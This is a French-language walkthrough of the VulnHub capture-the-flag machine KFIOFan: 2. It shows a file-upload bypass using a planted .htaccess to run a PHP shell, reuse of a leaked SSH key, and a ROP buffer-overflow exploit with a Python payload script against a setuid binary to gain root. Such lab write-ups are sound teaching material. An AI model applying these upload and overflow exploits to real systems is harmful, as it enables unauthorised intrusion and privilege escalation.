Accueil Solution du CTF KFIOFan: 2 de VulnHub
Post
Annuler

Solution du CTF KFIOFan: 2 de VulnHub

KFIOFan: 2 est le second CTF de Khaos Farbauti Ibn Oblivion. Il a été mis en ligne en juin 2019 sur VulnHub.

On avance sur le CTF via une série d’épreuves qui nous ouvrent peu à peu les portes jusqu’au compte root. Ce n’est pas toujours facile de comprendre ce qu’il faut faire exactement.

Sésame, ouvre toi !

Ub scan de port ne révèle qu’un seveur FTP :

1
2
3
4
5
Nmap scan report for 192.168.56.171
Host is up (0.00015s latency).
Not shown: 65534 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
26921/tcp open  ftp     vsftpd 2.0.8 or later

A la racine, 4 images png qui correspondent à une image vraisemblablement découpée et un dossier serrure dans lequel on peut déposer des fichiers.

Si on active les logs détaillés dans le client FTP on peut voir le motd du serveur, mais ça ne nous avance pas plus.

1
2
3
4
5
6
7
8
9
10
11
12
Statut :	Connexion à 192.168.56.171:26921…
Statut :	Connexion établie, attente du message d’accueil…
Réponse :	220 Salut Alice ! Suite a l'attaque sur notre precedent serveur, j'en prepare un nouveau qui sera bien plus securise ! C'est en travaux pour l'instant donc s'il te plait ne touche a rien pour l'instant... Bob
Commande :	AUTH TLS
Réponse :	530 Please login with USER and PASS.
Commande :	AUTH SSL
Réponse :	530 Please login with USER and PASS.
Statut :	Serveur non sécurisé, celui‐ci ne prend pas en charge FTP sur TLS.
Commande :	USER anonymous
Réponse :	331 Please specify the password.
Commande :	PASS *********************
Réponse :	230 Login successful.

Je vais utiliser convert d’ImageMagick pour recoller les différentes parties de l’image. J’avais déjà utilisé cet utilitaire sur le CTF Securitech en 2006 où il fallait recoller une image découpée en bandelettes (comme si elle était passée dans un destructeur de documents, il fallait aussi les remettre dans l’ordre).

1
2
3
convert +append 1.png 4.png top.png
convert +append 2.png 3.png bottom.png
convert -append top.png bottom.png final.png

Une fois l’image recréée, je zoome et voit marqué cle.txt au milieu de l’image.

Si on uploade un fichier cle.txt dans le dossier serrure on trouve un autre port ouvert sur la machine :

1
26980/tcp open  http    Apache httpd 2.4.25 ((Debian))

Mais on est bloqué par la page d’index :

1
2
3
4
5
6
7
8
<!DOCTYPE html>
<html>
<body>
<!-- Test présence fichier cle.txt : OK -->
<!-- Test contenu fichier cle.txt  : Erreur -->
<p>Tout ce qui est, est père du mensonge et fils du néant</p>
</body>
</html>

Via une énumération je trouve un dossier /uploads/ mais il est vide :

1
2
3
4
200       15l       49w      748c http://192.168.56.171:26980/uploads/
200       13l       26w      626c http://192.168.56.171:26980/manual/
403       11l       32w      298c http://192.168.56.171:26980/icons/
403       11l       32w      306c http://192.168.56.171:26980/server-status/

Finalement en cherchant le message de la page d’index je tombe sur ce blog :

"Farbauti" ? "Ibn Oblivion" ? - Tout le bonheur du monde 2.0

Il laisse supposer que le contenu du fichier cle.txt doit être Khaos Farbauti Ibn Oblivion.

Une fois placé le bon contenu dans le FTP, on parvient à une page d’upload mais l’extension .php est refusée et les extensions .php3, .phtml, .phar ne sont pas interprétées.

L’extension .phps passe l’upload mais on obtient une erreur 403 à l’accès.

J’ai utilisé une astuce dont je me suis déjà servi sur d’autres CTFs à savoir uploader un fichier .htaccess permettant de lier l’interpréteur PHP à une nouvelle extension :

1
AddType application/x-httpd-php .yo

Après ça je peux uploader un shell.yo et le code PHP est bien interprété.

Je trouve alors une clé SSH dans /var/www :

1
-rwxr-xr-x  1 bob  bob  1675 May 12  2019 id_rsa.bak

Un port est aussi apparu entre temps :

1
26922/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)

Bob’s not dead

On peut se connecter avec l’utilisateur Bob qui dispose d’un binaire setuid root dans son dossier personnel :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
$ ssh -i bob.key -p 26922 bob@192.168.56.171
Linux kfiofan2 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1 (2019-04-12) x86_64
                         __,,,,_
          _ __..-;''`--/'/ /.',-`-.
      (`/' ` |  \ \ \\ / / / / .-'/`,_
     /'`\ \   |  \ | \| // // / -.,/_,'-,
    /<7' ;  \ \  | ; ||/ /| | \/    |`-/,/-.,_,/')
   /  _.-, `,-\,__|  _-| / \ \/|_/  |    '-/.;.\'
   `-`  f/ ;      / __/ \__ `/ |__/ |
        `-'      |  -| =|\_  \  |-' |
              __/   /_..-' `  ),'  //
             ((__.-'((___..-'' \__.'

Last login: Mon May 13 11:29:06 2019 from 192.168.1.2
bob@kfiofan2:~$ id
uid=1000(bob) gid=1000(bob) groupes=1000(bob)
bob@kfiofan2:~$ ls
peda  test  todo.txt
bob@kfiofan2:~$ cat todo.txt 
- Chercher moteur de blog sécurisé 
- Demander à Alice la charte graphique
- Voir pourquoi gcc dit que gets est dangereux
- Chercher Khaos avec Maltego
- Acheter un kebab
- Envoyer fanfic sur le Fauve
bob@kfiofan2:~$ ls -al test
-rwsr-xr-x 1 root root 8936 mai   13  2019 test
bob@kfiofan2:~$ nm test
0000000000201058 B __bss_start
0000000000201058 b completed.6972
                 w __cxa_finalize@@GLIBC_2.2.5
0000000000201048 D __data_start
0000000000201048 W data_start
0000000000000820 T debug
0000000000000720 t deregister_tm_clones
00000000000007b0 t __do_global_dtors_aux
0000000000200de0 t __do_global_dtors_aux_fini_array_entry
0000000000201050 D __dso_handle
0000000000200df0 d _DYNAMIC
0000000000201058 D _edata
0000000000201060 B _end
0000000000000934 T _fini
00000000000007f0 t frame_dummy
0000000000200dd8 t __frame_dummy_init_array_entry
0000000000000ba8 r __FRAME_END__
                 U getchar@@GLIBC_2.2.5
                 U gets@@GLIBC_2.2.5
0000000000201000 d _GLOBAL_OFFSET_TABLE_
                 w __gmon_start__
0000000000000a38 r __GNU_EH_FRAME_HDR
0000000000000650 T _init
0000000000200de0 t __init_array_end
0000000000200dd8 t __init_array_start
0000000000000940 R _IO_stdin_used
                 w _ITM_deregisterTMCloneTable
                 w _ITM_registerTMCloneTable
0000000000200de8 d __JCR_END__
0000000000200de8 d __JCR_LIST__
                 w _Jv_RegisterClasses
0000000000000930 T __libc_csu_fini
00000000000008c0 T __libc_csu_init
                 U __libc_start_main@@GLIBC_2.2.5
000000000000085c T main
                 U printf@@GLIBC_2.2.5
                 U puts@@GLIBC_2.2.5
0000000000000760 t register_tm_clones
00000000000006f0 T _start
                 U strcmp@@GLIBC_2.2.5
                 U system@@GLIBC_2.2.5
0000000000201058 D __TMC_END__ 
bob@kfiofan2:~$ cat /proc/sys/kernel/randomize_va_space 
0

Comme on peut le voir, la stack n’est pas randomisée et system fait partie des fonctions importées par le binaire.

En revanche NX est activé sur l’exécutable. On ne pourra donc pas mettre un shellcode sur la stack.

1
2
3
$ checksec --file test
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   test

Je peux balancer une chaine cyclique générée par pwntools à l’exécutable qui lit un input via gets() :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff7b15910 (<__read_nocancel+7>:       cmp    rax,0xfffffffffffff001)
RDX: 0x7ffff7dd5770 --> 0x0 
RSI: 0xa ('\n')
RDI: 0x0 
RBP: 0x6661616165616161 ('aaaeaaaf')
RSP: 0x7fffffffe5b8 ("aaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacf"...)
RIP: 0x5555555548bd (<main+97>: ret)
R8 : 0x7ffff7dd5760 --> 0x0 
R9 : 0x7ffff7fef440 (0x00007ffff7fef440)
R10: 0x35c 
R11: 0x246 
R12: 0x5555555546f0 (<_start>:  xor    ebp,ebp)
R13: 0x7fffffffe690 ("aackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaej"...)
R14: 0x0 
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x5555555548b2 <main+86>:    call   0x5555555546c0 <getchar@plt>
   0x5555555548b7 <main+91>:    mov    eax,0x0
   0x5555555548bc <main+96>:    leave  
=> 0x5555555548bd <main+97>:    ret    
   0x5555555548be:      xchg   ax,ax
   0x5555555548c0 <__libc_csu_init>:    push   r15
   0x5555555548c2 <__libc_csu_init+2>:  push   r14
   0x5555555548c4 <__libc_csu_init+4>:  mov    r15d,edi

On voit qu’au moment de l’instruction ret on contrôle ce qui se trouve sur la pile (registre rsp).

Je détermine via pwntools que rip est écrasé à l’offset 21 de notre buffer.

Ensuite j’ai remarqué la chaine de caractères suivante dans l’exécutable à l’adresse 0x55555555495b : touch /root/authorize_bob

Je suppose qu’exécuter cette commande nous ouvrira une porte supplémentaire.

L’adresse de system est 0x7ffff7a79480. Comme on est en 64bits il faut placer l’argument de system dans rdi ce qui se fait avec le gadget suivant :

1
2
3
gdb-peda$ x/2i 0x555555554923
   0x555555554923 <__libc_csu_init+99>: pop    rdi
   0x555555554924 <__libc_csu_init+100>:        ret

En bref je génère un input de cette façon :

1
2
3
4
5
6
7
8
9
10
11
12
import struct

pop_rdi_ret = 0x555555554923
authorize_bob = 0x55555555495b
system = 0x7ffff7a79480

with open("input", "wb") as fd:
        fd.write(b"A" * 21)
        fd.write(struct.pack("<q", pop_rdi_ret))
        fd.write(struct.pack("<q", authorize_bob))
        fd.write(struct.pack("<q", system))
        fd.write(b"\n")

Via gdb je vérifie que la stack est organisée comme je le souhaite au moment de l’exploitation (./test < input) :

1
2
3
4
5
6
7
8
9
10
11
12
13
[-------------------------------------code-------------------------------------]
   0x5555555548b2 <main+86>:    call   0x5555555546c0 <getchar@plt>
   0x5555555548b7 <main+91>:    mov    eax,0x0
   0x5555555548bc <main+96>:    leave  
=> 0x5555555548bd <main+97>:    ret    
   0x5555555548be:      xchg   ax,ax
   0x5555555548c0 <__libc_csu_init>:    push   r15
   0x5555555548c2 <__libc_csu_init+2>:  push   r14
   0x5555555548c4 <__libc_csu_init+4>:  mov    r15d,edi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe5b8 --> 0x555555554923 (<__libc_csu_init+99>:  pop    rdi)
0008| 0x7fffffffe5c0 --> 0x55555555495b ("touch /root/authorize_bob")
0016| 0x7fffffffe5c8 --> 0x7ffff7a79480 (<__libc_system>:       test   rdi,rdi)

Tout est nickel. Je surveille les processus avec pspy et voit que bob est rajouté au groupe sudo :

1
2
3
4
5
6
7
8
9
10
11
12
13
2023/04/11 13:00:01 CMD: UID=0    PID=6240   | /usr/sbin/CRON -f 
2023/04/11 13:00:01 CMD: UID=0    PID=6252   | /bin/bash /root/check_uploads.sh 
2023/04/11 13:00:01 CMD: UID=0    PID=6251   | /bin/bash /root/check_uploads.sh 
2023/04/11 13:00:01 CMD: UID=0    PID=6250   | /bin/bash /root/check_apache.sh 
2023/04/11 13:00:01 CMD: UID=0    PID=6249   | /bin/sh -c /root/turnoff_alsr.sh 
2023/04/11 13:00:01 CMD: UID=0    PID=6248   | /bin/bash /root/check_uploads.sh 
2023/04/11 13:00:01 CMD: UID=0    PID=6247   | /bin/bash /root/check_sudo.sh 
2023/04/11 13:00:01 CMD: UID=0    PID=6246   | /bin/bash /root/check_apache.sh 
2023/04/11 13:00:01 CMD: UID=0    PID=6245   | /bin/sh -c /root/turnoff_alsr.sh 
2023/04/11 13:00:01 CMD: UID=0    PID=6244   | /bin/bash /root/check_uploads.sh 
2023/04/11 13:00:01 CMD: UID=0    PID=6243   | /bin/bash /root/check_sudo.sh 
2023/04/11 13:00:01 CMD: UID=0    PID=6242   | /bin/sh -c /root/check_apache.sh 
2023/04/11 13:00:01 CMD: UID=0    PID=6257   | /usr/sbin/usermod -G sudo bob

Une fois déconnecté puis reconnecté je peux passer root :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
bob@kfiofan2:~$ sudo -l
Entrées par défaut pour bob sur kfiofan2 :
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

L'utilisateur bob peut utiliser les commandes suivantes sur kfiofan2 :
    (ALL : ALL) NOPASSWD: ALL
bob@kfiofan2:~$ sudo su
root@kfiofan2:/home/bob# cd /root
root@kfiofan2:~# ls
authorize_bob  check_apache.sh  check_sudo.sh  check_uploads.sh  clean_start.sh  fauve_dbg.c  flag.txt  htaccess_orig  turnoff_alsr.sh
root@kfiofan2:~# cat flag.txt
Bravo à toi pour avoir vaincu le serveur de Bob, ce n'était pas si simple et tu y es parvenu !

Reprend des forces et à bientôt peut-être pour un CTF KFIOFan3 ! ;)

_____.___.                  .___.__    .___ .__  __   
\__  |   | ____  __ __    __| _/|__| __| _/ |__|/  |_ 
 /   |   |/  _ \|  |  \  / __ | |  |/ __ |  |  \   __\
 \____   (  <_> )  |  / / /_/ | |  / /_/ |  |  ||  |  
 / ______|\____/|____/  \____ | |__\____ |  |__||__|  
 \/                          \/         \/       


commentcamarche.net

Dans la crontab de root on trouve différents scripts appelés comme clean_start.sh :

1
2
3
4
5
6
7
#!/bin/bash

/bin/rm -f /srv/ftp/serrure/*
/bin/rm -f /var/www/html/uploads/*
/bin/rm -f /root/authorize_bob
/bin/cp -f /root/htaccess_orig /var/www/html/uploads/.htaccess
/bin/chown www-data:www-data /var/www/html/uploads/.htaccess

Il remet tout à l’état initial. Je remarque qu’il plaçait un htaccess :

1
php_flag engine off

Du coup juste écraser le htaccess, même avec un fichier vide, aurait pu nous permettre d’obtenir l’exécution de code PHP.

Ensuite il y a le script check_apache.sh qui lance le serveur web si le fichier cle.txt est présent :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/bin/bash
service=apache2
fichier=/srv/ftp/serrure/cle.txt

if (( $(ps -ef |grep -v grep |grep $service |wc -l) == 0 ))
then
if [ -f $fichier ]
then
/bin/systemctl start $service
fi
else
if [ ! -f $fichier ]
then
/bin/systemctl stop $service
fi
fi

Et finalement le code du programme vulnérable :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int debug(void)
{
    printf("\n lancement debug \n");
    int status = system("touch /root/authorize_bob");
    printf("\n code retour : %d\n", status);
}

int main(void)
{
    char buff[13];

    printf("\n Mot de passe : \n");
    gets(buff);

    if(strcmp(buff, "aliceestnulle"))
    {
        printf ("\n Mauvais mot de passe \n");
    }
    else
    {
        printf ("\n Car voici le Fauve enragé \n Qui en mon coeur survit. \n Idole d'un monde passé, \n Dieu d'un pays englouti. \n");
    }

    getchar();

    return 0;
}

On voit qu’il y avait une méthode plus simple qui consistait à simplement écraser l’adresse de retour par l’adresse de la fonction debug (mais c’est moins fun).

Cet article est sous licence CC BY 4.0 par l'auteur.